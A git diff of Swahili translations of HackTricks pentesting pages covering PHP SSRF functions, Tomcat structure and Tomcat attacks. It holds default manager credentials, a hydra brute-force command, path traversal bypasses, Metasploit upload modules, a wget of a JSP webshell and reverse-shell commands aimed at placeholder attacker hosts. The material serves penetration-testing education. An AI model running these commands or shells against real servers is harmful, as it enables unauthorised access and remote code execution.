* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,9 +14,9 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,7 +24,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
### Vipengele vya PHP vya SSRF
|
||||
|
||||
Baadhi ya kazi kama vile **file\_get\_contents(), fopen(), file(), md5\_file()** hukubali URL kama data ya kuingiza ambayo itafuata kufanya **mabaya ya udhaifu wa SSRF ikiwa mtumiaji anaweza kudhibiti data:
|
||||
Baadhi ya kazi kama vile **file\_get\_contents(), fopen(), file(), md5\_file()** hukubali URL kama matokeo ambayo itafuata kufanya **mabaya ya udhaifu wa SSRF** ikiwa mtumiaji anaweza kudhibiti data:
|
||||
```php
|
||||
file_get_contents("http://127.0.0.1:8081");
|
||||
fopen("http://127.0.0.1:8081", "r");
|
||||
|
@ -52,7 +52,7 @@ Connection: close
|
|||
Kwa habari zaidi kuhusu kasoro ya CRLF, angalia kosa hili [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
|
||||
{% endhint %}
|
||||
|
||||
Tafadhali elewa kwamba hizi kazi zinaweza kuwa na njia nyingine za kuweka vichwa vya habari vya kupangwa katika maombi, kama vile:
|
||||
Tafadhali elewa kuwa hizi kazi zinaweza kuwa na njia nyingine za kuweka vichwa vya habari vya uongo katika maombi, kama vile:
|
||||
```php
|
||||
$url = "";
|
||||
|
||||
|
@ -70,7 +70,7 @@ $file = file_get_contents($url, false, $context);
|
|||
```
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -4,9 +4,9 @@
|
|||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
@ -14,7 +14,7 @@
|
|||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -45,9 +45,9 @@ Kwa toleo la Tomcat la zamani kuliko 6, inawezekana kuorodhesha majina ya mtumia
|
|||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
### **Maelezo ya Upatikanaji wa Kipekee**
|
||||
### **Majina ya mtumiaji na nywila za Chaguo-msingi**
|
||||
|
||||
**`/manager/html`** directory ni nyeti sana kwani inaruhusu kupakia na kutekeleza faili za WAR, ambazo zinaweza kusababisha utekelezaji wa nambari. Directory hii inalindwa na uthibitishaji wa msingi wa HTTP, na maelezo ya kawaida ni:
|
||||
**`/manager/html`** directory ni hasa nyeti kwani inaruhusu kupakia na kutekeleza faili za WAR, ambazo zinaweza kusababisha utekelezaji wa nambari. Directory hii inalindwa na uthibitishaji wa HTTP wa msingi, na majina ya mtumiaji na nywila za kawaida ni:
|
||||
|
||||
* admin:admin
|
||||
* tomcat:tomcat
|
||||
|
@ -56,31 +56,29 @@ msf> use auxiliary/scanner/http/tomcat_enum
|
|||
* tomcat:s3cr3t
|
||||
* admin:tomcat
|
||||
|
||||
Maelezo haya ya upatikanaji yanaweza kujaribiwa kwa kutumia:
|
||||
Majina haya ya mtumiaji na nywila yanaweza kujaribiwa kutumia:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
### **Mshambulizi wa Nguvu ya Kubadilisha**
|
||||
### **Shambulizi la Nguvu ya Kubadilisha**
|
||||
|
||||
Kujaribu shambulizi la nguvu kwenye saraka ya meneja, mtu anaweza kutumia:
|
||||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
```
|
||||
## Makosa Yanayoweza Kutokea
|
||||
## Mfumo wa Ufichuaji wa Nywila
|
||||
|
||||
### **Kufichua Nyuma ya Nenosiri**
|
||||
Kupata `/auth.jsp` inaweza kufunua nywila katika mfumo wa nyuma chini ya hali za bahati nzuri.
|
||||
|
||||
Kupata `/auth.jsp` kunaweza kufichua nenosiri katika nyuma ya nyakati za bahati.
|
||||
## Ufichuaji wa Nywila wa Nyuma Mara Mbili
|
||||
|
||||
### **Ukodishaji wa URL Mara Mbili**
|
||||
Ufichuaji wa CVE-2007-1860 katika `mod_jk` inaruhusu upitishaji wa njia wa ufichuaji wa URL mara mbili, ikiruhusu ufikiaji usioidhinishwa kwenye kiolesura cha usimamizi kupitia URL iliyoundwa kwa makini.
|
||||
|
||||
Udhaifu wa CVE-2007-1860 katika `mod_jk` inaruhusu ukodishaji wa URL mara mbili kwa njia ya kuvuka njia, ikiruhusu ufikiaji usiohalali kwenye kiolesura cha usimamizi kupitia URL iliyoundwa kwa makini.
|
||||
|
||||
Ili kupata kwenye wavuti ya usimamizi wa Tomcat enda: `pathTomcat/%252E%252E/manager/html`
|
||||
Ili kupata wavuti ya usimamizi wa Tomcat enda: `pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /mifano
|
||||
|
||||
Toleo la Apache Tomcat 4.x hadi 7.x lina skripti za mfano ambazo zinaweza kufichua habari na kushambuliwa na mashambulizi ya msalaba wa tovuti (XSS). Skripti hizi, zilizoorodheshwa kwa kina, zinapaswa kuchunguzwa kwa ufikiaji usiohalali na uwezekano wa kutumiwa vibaya. Pata [maelezo zaidi hapa](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
Toleo la Apache Tomcat 4.x hadi 7.x lina skripti za mfano ambazo zinaweza kufunuliwa kwa habari na mashambulizi ya msimbo wa msalaba (XSS). Skripti hizi, zilizoorodheshwa kwa kina, zinapaswa kuchunguzwa kwa ufikiaji usiohalali na uwezekano wa kutumiwa vibaya. Pata [maelezo zaidi hapa](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /mifano/jsp/num/numguess.jsp
|
||||
* /mifano/jsp/dates/date.jsp
|
||||
|
@ -107,15 +105,15 @@ Toleo la Apache Tomcat 4.x hadi 7.x lina skripti za mfano ambazo zinaweza kufich
|
|||
|
||||
### **Udanganyifu wa Njia**
|
||||
|
||||
Katika [**mipangilio inayoweza kudhurika ya Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) unaweza kupata ufikiaji kwenye saraka zilizolindwa kwenye Tomcat kwa kutumia njia: `/..;/`
|
||||
Katika [**miundombinu inayoweza kudhurika ya Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) unaweza kupata ufikiaji kwenye saraka zilizolindwa kwenye Tomcat kwa kutumia njia: `/..;/`
|
||||
|
||||
Kwa hivyo, kwa mfano, unaweza **kupata ukurasa wa msimamizi wa Tomcat** kwa kufikia: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
**Njia nyingine** ya kuzidi njia zilizolindwa kwa kutumia hila hii ni kufikia `http://www.vulnerable.com/;param=value/manager/html`
|
||||
**Njia nyingine** ya kuepuka njia zilizolindwa kwa kutumia hila hii ni kufikia `http://www.vulnerable.com/;param=value/manager/html`
|
||||
|
||||
## RCE
|
||||
|
||||
Hatimaye, ikiwa una ufikiaji kwenye Meneja wa Programu ya Wavuti ya Tomcat, unaweza **kupakia na kutekeleza faili ya .war (kutekeleza nambari)**.
|
||||
Hatimaye, ikiwa una ufikiaji kwenye Meneja wa Programu ya Wavuti ya Tomcat, unaweza **kupakia na kutekeleza faili ya .war (kutekeleza msimbo)**.
|
||||
|
||||
### Vizuizi
|
||||
|
||||
|
@ -131,7 +129,7 @@ curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell
|
|||
```
|
||||
### Metasploit
|
||||
|
||||
Metasploit ni chombo cha nguvu cha kufanya uchambuzi wa usalama na uchunguzi wa kina wa usalama wa mtandao. Inatoa moduli nyingi zilizojengwa kwa ajili ya kutekeleza mashambulizi dhidi ya programu-jalizi za Tomcat. Unaweza kutumia Metasploit kugundua mapungufu katika usalama wa Tomcat na kuchukua hatua za kurekebisha.
|
||||
Metasploit ni chombo cha nguvu cha kufanya uchambuzi wa usalama na uchunguzi wa kina wa usalama wa mtandao.
|
||||
```bash
|
||||
use exploit/multi/http/tomcat_mgr_upload
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||||
|
@ -140,7 +138,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
|||
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||||
```
|
||||
### Kifaa cha Kugeuza Shell ya MSFVenom
|
||||
### MSFVenom Reverse Shell
|
||||
|
||||
1. Unda war kwa ajili ya kupeleka:
|
||||
```bash
|
||||
|
@ -156,13 +154,13 @@ Katika hali fulani hii haifanyi kazi (kwa mfano toleo za zamani za sun)
|
|||
```bash
|
||||
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||||
```
|
||||
#### Reverse shell
|
||||
|
||||
#### Kitanzi cha Nyuma
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||||
```
|
||||
#### Bind shell
|
||||
|
||||
#### Shell ya Kufunga
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||||
```
|
||||
|
@ -205,7 +203,7 @@ webshell.war is created
|
|||
```
|
||||
### Mbinu ya Kufanya Kwa Mkono 2
|
||||
|
||||
Pata ganda la wavuti la JSP kama [hili](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) na unda faili ya WAR:
|
||||
Pata kabidilishi wa wavuti wa JSP kama [hii](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) na unda faili ya WAR:
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||||
zip -r backup.war cmd.jsp
|
||||
|
@ -234,7 +232,7 @@ msf> use post/windows/gather/enum_tomcat
|
|||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -242,10 +240,10 @@ msf> use post/windows/gather/enum_tomcat
|
|||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,11 +1,11 @@
|
|||
# Taarifa Msingi za Tomcat
|
||||
# Maelezo ya Msingi ya Tomcat
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana kwenye HackTricks**? au ungependa kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
@ -14,7 +14,7 @@
|
|||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@
|
|||
|
||||
### Epuka kukimbia kama root
|
||||
|
||||
Ili kuepuka kukimbia Tomcat kama root, usanidi wa kawaida sana ni kuweka seva ya Apache kwenye bandari 80/443 na, ikiwa njia iliyotakiwa inalingana na regexp, ombi linatumwa kwa Tomcat ikikimbia kwenye bandari tofauti.
|
||||
Ili kuepuka kukimbia Tomcat kama root, usanidi wa kawaida sana ni kuweka seva ya Apache kwenye bandari 80/443 na, ikiwa njia inayohitajika inalingana na regexp, ombi linatumwa kwa Tomcat ikikimbia kwenye bandari tofauti.
|
||||
|
||||
### Muundo wa Kawaida
|
||||
```
|
||||
|
@ -49,14 +49,14 @@ Ili kuepuka kukimbia Tomcat kama root, usanidi wa kawaida sana ni kuweka seva ya
|
|||
└── Catalina
|
||||
└── localhost
|
||||
```
|
||||
* Folda ya `bin` inahifadhi scripts na binaries zinazohitajika kuanza na kuendesha server ya Tomcat.
|
||||
* Folda ya `conf` inahifadhi faili mbalimbali za mazingira zinazotumiwa na Tomcat.
|
||||
* Faili ya `tomcat-users.xml` inahifadhi siri za watumiaji na majukumu yao yaliyopewa.
|
||||
* Folda ya `lib` inashikilia faili za JAR mbalimbali zinazohitajika kwa kufanya kazi kwa usahihi kwa Tomcat.
|
||||
* Folda za `logs` na `temp` zinahifadhi faili za logi za muda.
|
||||
* Folda ya `webapps` ndiyo webroot ya msingi ya Tomcat na inahifadhi maombi yote. Folda ya `work` inafanya kazi kama cache na hutumika kuhifadhi data wakati wa uendeshaji.
|
||||
* Kabrasha `bin` inahifadhi hati na binaries zinazohitajika kuanza na kuendesha seva ya Tomcat.
|
||||
* Kabrasha `conf` inahifadhi faili mbalimbali za usanidi zinazotumiwa na Tomcat.
|
||||
* Faili ya `tomcat-users.xml` inahifadhi siri za mtumiaji na majukumu yao yaliyopewa.
|
||||
* Kabrasha `lib` inashikilia faili za JAR mbalimbali zinazohitajika kwa kufanya kazi kwa usahihi wa Tomcat.
|
||||
* Kabrasha `logs` na `temp` inahifadhi faili za logi za muda.
|
||||
* Kabrasha `webapps` ni mizizi ya wavuti ya msingi ya Tomcat na inahifadhi maombi yote. Kabrasha ya `work` inafanya kazi kama cache na hutumika kuhifadhi data wakati wa muda wa uendeshaji.
|
||||
|
||||
Kila folda ndani ya `webapps` inatarajiwa kuwa na muundo ufuatao.
|
||||
Kila kabrasha ndani ya `webapps` inatarajiwa kuwa na muundo ufuatao.
|
||||
```
|
||||
webapps/customapp
|
||||
├── images
|
||||
|
@ -73,8 +73,8 @@ webapps/customapp
|
|||
└── classes
|
||||
└── AdminServlet.class
|
||||
```
|
||||
Faili muhimu zaidi kati ya haya ni `WEB-INF/web.xml`, inayojulikana kama maelezo ya kupeleka. Faili hii inahifadhi **habari kuhusu njia** zinazotumiwa na programu na darasa zinazoshughulikia njia hizo.\
|
||||
Darasa zote zilizopangiliwa zinazotumiwa na programu zinapaswa kuhifadhiwa kwenye folda ya `WEB-INF/classes`. Darasa hizi zinaweza kuwa na mantiki muhimu ya biashara pamoja na habari nyeti. Upungufu wowote katika faili hizi unaweza kusababisha kuvamiwa kwa jumla kwa tovuti. Folda ya `lib` inahifadhi maktaba zinazohitajika na programu hiyo maalum. Folda ya `jsp` inahifadhi [Kurasa za Seva za Jakarta (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), hapo awali inayojulikana kama `JavaServer Pages`, ambayo inaweza kulinganishwa na faili za PHP kwenye seva ya Apache.
|
||||
Faili muhimu zaidi kati ya hizi ni `WEB-INF/web.xml`, inayojulikana kama maelezo ya kupeleka. Faili hii hifadhi **taarifa kuhusu njia** zinazotumiwa na programu na darasa zinazoshughulikia njia hizo.\
|
||||
Darasa zote zilizopangiliwa zinazotumiwa na programu zinapaswa kuhifadhiwa kwenye folda ya `WEB-INF/classes`. Darasa hizi zinaweza kuwa na mantiki muhimu ya biashara pamoja na taarifa nyeti. Upungufu wowote katika faili hizi unaweza kusababisha kuvamiwa kwa jumla kwa tovuti. Folda ya `lib` inahifadhi maktaba zinazohitajika na programu hiyo maalum. Folda ya `jsp` inahifadhi [Kurasa za Seva za Jakarta (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), hapo awali inayojulikana kama `JavaServer Pages`, ambayo inaweza kulinganishwa na faili za PHP kwenye seva ya Apache.
|
||||
|
||||
Hapa kuna mfano wa faili ya **web.xml**.
|
||||
```xml
|
||||
|
@ -94,15 +94,15 @@ Hapa kuna mfano wa faili ya **web.xml**.
|
|||
</servlet-mapping>
|
||||
</web-app>
|
||||
```
|
||||
Konfigurisheni ya `web.xml` hapo juu inadefini **servlet mpya inayoitwa `AdminServlet`** ambayo imepangwa kwa **darasa `com.inlanefreight.api.AdminServlet`**. Java hutumia notesheni ya dot kujenga majina ya paketi, maana njia kwenye diski kwa darasa lililofafanuliwa hapo juu itakuwa:
|
||||
Konfigurisheni ya `web.xml` hapo juu inadefini **servlet mpya inayoitwa `AdminServlet`** ambayo imepangiliwa kwa **darasa `com.inlanefreight.api.AdminServlet`**. Java hutumia notesheni ya mshale kuunda majina ya pakiti, maana njia kwenye diski kwa darasa lililodefni hapo juu itakuwa:
|
||||
|
||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
|
||||
Kisha, kielekezi kipya cha servlet kinajengwa ili **kupanga maombi kwa `/admin` na `AdminServlet`**. Usanidi huu utapeleka ombi lolote lililopokelewa kwa **`/admin` kwa darasa la `AdminServlet.class`** kwa usindikaji. Mwambaa wa **`web.xml`** una taarifa nyingi **nyeti** na ni faili muhimu ya kuangalia unapotumia **udhaifu wa Ujumuishaji wa Faili za Lokali (LFI)**.
|
||||
Kisha, kielekezi kipya cha servlet kinajengwa ili **kupanga maombi kwa `/admin` na `AdminServlet`**. Usanidi huu utapeleka ombi lolote lililopokelewa kwa **`/admin` kwa darasa la `AdminServlet.class`** kwa usindikaji. Mwambaa wa **`web.xml`** una taarifa nyingi **nyeti** na ni faili muhimu ya kuangalia unapotumia **udhaifu wa Ujumuishaji wa Faili za Kienyeji (LFI)**.
|
||||
|
||||
### tomcat-users
|
||||
|
||||
Faili ya **`tomcat-users.xml`** hutumiwa ku **ruhusu** au kuzuia ufikiaji wa kurasa za **msimamizi wa `/manager` na `host-manager`**.
|
||||
Faili ya **`tomcat-users.xml`** hutumiwa ku **ruhusu** au kukataza upatikanaji wa kurasa za admin za **`/manager` na `host-manager`**.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
|
@ -143,26 +143,26 @@ will also need to set the passwords to something appropriate.
|
|||
|
||||
</tomcat-users>
|
||||
```
|
||||
Faili linaonyesha jukumu la kila moja ya majukumu `manager-gui`, `manager-script`, `manager-jmx`, na `manager-status` hutoa ufikiaji wa. Katika mfano huu, tunaweza kuona kwamba mtumiaji `tomcat` na nenosiri `tomcat` ana jukumu la `manager-gui`, na nenosiri dhaifu la pili `admin` limewekwa kwa akaunti ya mtumiaji `admin`
|
||||
Faili linaonyesha ni nini kila jukumu la `manager-gui`, `manager-script`, `manager-jmx`, na `manager-status` hutoa ufikiaji. Katika mfano huu, tunaweza kuona kwamba mtumiaji `tomcat` na nenosiri `tomcat` ana jukumu la `manager-gui`, na nenosiri dhaifu la pili `admin` limewekwa kwa akaunti ya mtumiaji `admin`
|
||||
|
||||
## Marejeo
|
||||
|
||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
@ -10,13 +10,13 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
